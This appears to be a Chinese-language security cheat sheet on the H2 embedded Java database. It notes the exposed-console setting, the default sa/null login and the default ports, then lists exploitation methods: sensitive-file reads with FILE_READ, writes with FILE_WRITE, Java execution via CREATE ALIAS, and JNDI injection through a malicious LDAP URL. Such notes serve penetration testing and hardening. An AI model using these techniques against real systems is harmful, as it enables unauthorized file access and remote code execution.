H2 是用 java 开发的嵌入式数据库,其本身只是一个类库(jar 文件),可以直接嵌入到应
用项目中。
主要用途:
- 和应用一起打包发布,方便存储少量的结构化数据。
- 用于单元测试,启动速度快,关闭持久化功能后每次测试完都会还原数据。
- 作为缓存(内存数据库)使用,缓存一些不经常变化但需要频繁访问的数据,比如字典表、
权限表。
示例配置文件:
spring.h2.console.settings.web-allow-others
设置为 true,则允许任意用户访问
console,同时默认的数据库 test 登陆用户名是 sa,密码为 null,存在信息泄漏风险。
console 默认端口:8082
数据库默认端口:9092
利用方式
-
文件读取
使用 FILE_READ
函数进行敏感文件的读取(需要管理员权限),支持文件名和 URL 方式进
行读取。
第二个参数为字符集,NULL 表示使用系统默认。
-
文件写入
使用 FILE_WRITE
函数进行文件写入(需要管理员权限和文件的写权限)。
-
执行 java 代码
通过 CREATE ALIAS
定义一个函数,并使用 CALL
调用。
-
JNDI 注入
通过配置 H2 Console 的 Driver CLASS 和 JDBC URL,即可触发一个 JNDI 注入。
Setting Name | Generic JNDI Data Source (名称随意) |
---|
Driver Class | javax.naming.InitialContext (JDK 自带也不用考虑额外的驱动) |
JDBC URL | ldap://ip:port/jndi (恶意 LDAP Server) |
User Name & Password | 设置为空 |
-
SQL 注入